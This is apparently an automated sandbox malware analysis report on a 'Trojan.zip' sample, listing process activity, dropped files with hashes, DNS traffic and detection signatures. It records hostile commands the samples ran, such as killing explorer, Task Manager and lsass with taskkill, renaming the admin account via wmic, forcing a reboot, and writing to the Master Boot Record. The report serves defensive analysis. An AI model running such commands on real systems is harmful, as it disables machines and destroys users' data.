PID 4340 wrote to memory of 2812	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe	C:\Windows\SysWOW64\cmd.exe
PID 2812 wrote to memory of 1168	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2812 wrote to memory of 1168	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2812 wrote to memory of 1168	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2812 wrote to memory of 968	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2812 wrote to memory of 968	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2812 wrote to memory of 968	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\taskkill.exe
PID 2812 wrote to memory of 3020	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2812 wrote to memory of 3020	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2812 wrote to memory of 3020	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2812 wrote to memory of 832	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2812 wrote to memory of 832	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe
PID 2812 wrote to memory of 832	N/A	C:\Windows\SysWOW64\cmd.exe	C:\Windows\SysWOW64\Wbem\WMIC.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\000.exe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\windl.bat""

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im explorer.exe

C:\Windows\SysWOW64\taskkill.exe

taskkill /f /im taskmgr.exe

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' set FullName='UR NEXT'

C:\Windows\SysWOW64\Wbem\WMIC.exe

wmic useraccount where name='Admin' rename 'UR NEXT'

C:\Windows\SysWOW64\shutdown.exe

shutdown /f /r /t 0

C:\Windows\system32\LogonUI.exe

"LogonUI.exe" /flags:0x4 /state0:0xa399c855 /state1:0x41c64e6d

Network

Files

memory/4340-0-0x00000000753BE000-0x00000000753BF000-memory.dmp

memory/4340-1-0x0000000000CC0000-0x000000000136E000-memory.dmp

memory/4340-2-0x00000000753B0000-0x0000000075B60000-memory.dmp

memory/4340-3-0x0000000006470000-0x0000000006A14000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\windl.bat

MD5	a9401e260d9856d1134692759d636e92
SHA1	4141d3c60173741e14f36dfe41588bb2716d2867
SHA256	b551fba71dfd526d4916ae277d8686d83fff36d22fcf6f18457924a070b30ef7
SHA512	5cbe38cdab0283b87d9a9875f7ba6fa4e8a7673d933ca05deddddbcf6cf793bd1bf34ac0add798b4ed59ab483e49f433ce4012f571a658bc0add28dd987a57b6

memory/4340-11-0x00000000753B0000-0x0000000075B60000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows Media\12.0\WMSDKNS.XML

MD5	7050d5ae8acfbe560fa11073fef8185d
SHA1	5bc38e77ff06785fe0aec5a345c4ccd15752560e
SHA256	cb87767c4a384c24e4a0f88455f59101b1ae7b4fb8de8a5adb4136c5f7ee545b
SHA512	a7a295ac8921bb3dde58d4bcde9372ed59def61d4b7699057274960fa8c1d1a1daff834a93f7a0698e9e5c16db43af05e9fd2d6d7c9232f7d26ffcff5fc5900b

memory/4340-26-0x0000000009C50000-0x0000000009C5E000-memory.dmp

memory/4340-23-0x000000000C830000-0x000000000C868000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\rniw.exe

MD5	9232120b6ff11d48a90069b25aa30abc
SHA1	97bb45f4076083fca037eee15d001fd284e53e47
SHA256	70faa0e1498461731f873d3594f20cbf2beaa6f123a06b66f9df59a9cdf862be
SHA512	b06688a9fc0b853d2895f11e812c48d5871f2793183fda5e9638ded22fc5dc1e813f174baedc980a1f0b6a7b0a65cd61f29bb16acc6dd45da62988eb012d6877

memory/4340-32-0x000000000CA70000-0x000000000CA80000-memory.dmp

memory/4340-31-0x000000000CA70000-0x000000000CA80000-memory.dmp

memory/4340-29-0x000000000CA70000-0x000000000CA80000-memory.dmp

memory/4340-30-0x000000000CA70000-0x000000000CA80000-memory.dmp

memory/4340-36-0x000000000CA70000-0x000000000CA80000-memory.dmp

memory/4340-37-0x000000000CA40000-0x000000000CA50000-memory.dmp

memory/4340-35-0x000000000CA70000-0x000000000CA80000-memory.dmp

memory/4340-34-0x000000000CA40000-0x000000000CA50000-memory.dmp

memory/4340-33-0x000000000CA40000-0x000000000CA50000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Media Player\CurrentDatabase_400.wmdb

MD5	786698605a9029da9cbde82dd7e86370
SHA1	8f91946aacd123f3e65237833c6e8a2da12db585
SHA256	96f2dc37cdbaf245aa2fe137271fcad9e567ae54560f4b8812c10385501d074b
SHA512	a85c482b353770d6e591d677842e4655e6d6b05c0c1b8bb1c97bd2f5f6bcf16e18e1373479b2ee20a1ff55e16fadcafa35102a356d02c28c554e53da1a537c37

C:\Users\Admin\Desktop\UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR NEXT UR N1XT.txt

MD5	9037ebf0a18a1c17537832bc73739109
SHA1	1d951dedfa4c172a1aa1aae096cfb576c1fb1d60
SHA256	38c889b5d7bdcb79bbcb55554c520a9ce74b5bfc29c19d1e4cb1419176c99f48
SHA512	4fb5c06089524c6dcd48b6d165cedb488e9efe2d27613289ef8834dbb6c010632d2bd5e3ac75f83b1d8024477ebdf05b9e0809602bbe1780528947c36e4de32f

C:\Users\Admin\AppData\Local\Temp\one.rtf

MD5	6fbd6ce25307749d6e0a66ebbc0264e7
SHA1	faee71e2eac4c03b96aabecde91336a6510fff60
SHA256	e152b106733d9263d3cf175f0b6197880d70acb753f8bde8035a3e4865b31690
SHA512	35a0d6d91178ec10619cf4d2fd44d3e57aa0266e1779e15b1eef6e9c359c77c384e0ffe4edb2cde980a6847e53f47733e6eacb72d46762066b3541dee3d29064

memory/4340-856-0x00000000753B0000-0x0000000075B60000-memory.dmp

Analysis: behavioral10

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240611-en

Max time kernel

Max time network

19s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Signatures

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeShutdownPrivilege	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe	N/A

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\0xc6666666.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp
US	8.8.8.8:53	240.197.17.2.in-addr.arpa	udp
US	8.8.8.8:53	g.bing.com	udp
US	13.107.21.237:443	g.bing.com	tcp
US	8.8.8.8:53	20.160.190.20.in-addr.arpa	udp
US	8.8.8.8:53	237.21.107.13.in-addr.arpa	udp
US	8.8.8.8:53	26.35.223.20.in-addr.arpa	udp
NL	23.62.61.97:443	www.bing.com	tcp
US	8.8.8.8:53	97.61.62.23.in-addr.arpa	udp
US	8.8.8.8:53	97.17.167.52.in-addr.arpa	udp

Files

N/A

Analysis: behavioral14

Detonation Overview

Submitted

2024-06-20 18:54

Reported

2024-06-20 18:57

Platform

win10v2004-20240508-en

Max time kernel

61s

Max time network

68s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

Signatures

Checks computer location settings

Description	Indicator	Process	Target
Key value queried	\REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	N/A

Writes to the Master Boot Record (MBR)

bootkit persistence

Description	Indicator	Process	Target
File opened for modification	\??\PhysicalDrive0	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe	N/A

Enumerates physical storage devices

Kills process with taskkill

evasion

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\SysWOW64\taskkill.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 1472 wrote to memory of 1608	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 1472 wrote to memory of 1608	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 1472 wrote to memory of 1608	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Windows\SysWOW64\taskkill.exe
PID 1472 wrote to memory of 2452	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe
PID 1472 wrote to memory of 2452	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe
PID 1472 wrote to memory of 2452	N/A	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe	C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

Processes

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset.exe"

C:\Windows\SysWOW64\taskkill.exe

"C:\Windows\System32\taskkill.exe" /f /im lsass.exe

C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe

"C:\Users\Admin\AppData\Local\Temp\Trojan\10reset\10reset-helper.exe"

Network

Country	Destination	Domain	Proto
US	8.8.8.8:53	8.8.8.8.in-addr.arpa	udp
US	8.8.8.8:53	172.214.232.199.in-addr.arpa	udp
US	8.8.8.8:53	13.86.106.20.in-addr.arpa	udp
US	8.8.8.8:53	140.32.126.40.in-addr.arpa	udp
US	8.8.8.8:53	104.219.191.52.in-addr.arpa	udp

Files

memory/1472-0-0x000000007481E000-0x000000007481F000-memory.dmp

memory/1472-1-0x0000000000BE0000-0x0000000000C06000-memory.dmp

memory/1472-2-0x0000000005C60000-0x0000000006204000-memory.dmp

memory/1472-3-0x00000000055E0000-0x0000000005672000-memory.dmp

memory/1472-4-0x0000000074810000-0x0000000074FC0000-memory.dmp

memory/1472-5-0x00000000057A0000-0x00000000057AA000-memory.dmp

memory/2452-6-0x0000000000400000-0x0000000000412000-memory.dmp

memory/1472-7-0x000000007481E000-0x000000007481F000-memory.dmp

memory/1472-8-0x0000000074810000-0x0000000074FC0000-memory.dmp

Sample ID	240620-xj87asseqa
Target	Trojan.zip
SHA256	64af147c68a1e9ab272322962e043b51657da005a827980df1619e0f1e6ec35f
Tags	bootkit defense_evasion discovery exploit persistence evasion spyware stealer trojan upx ransomware

Malware Analysis Report

2024-09-11 05:22

Table of Contents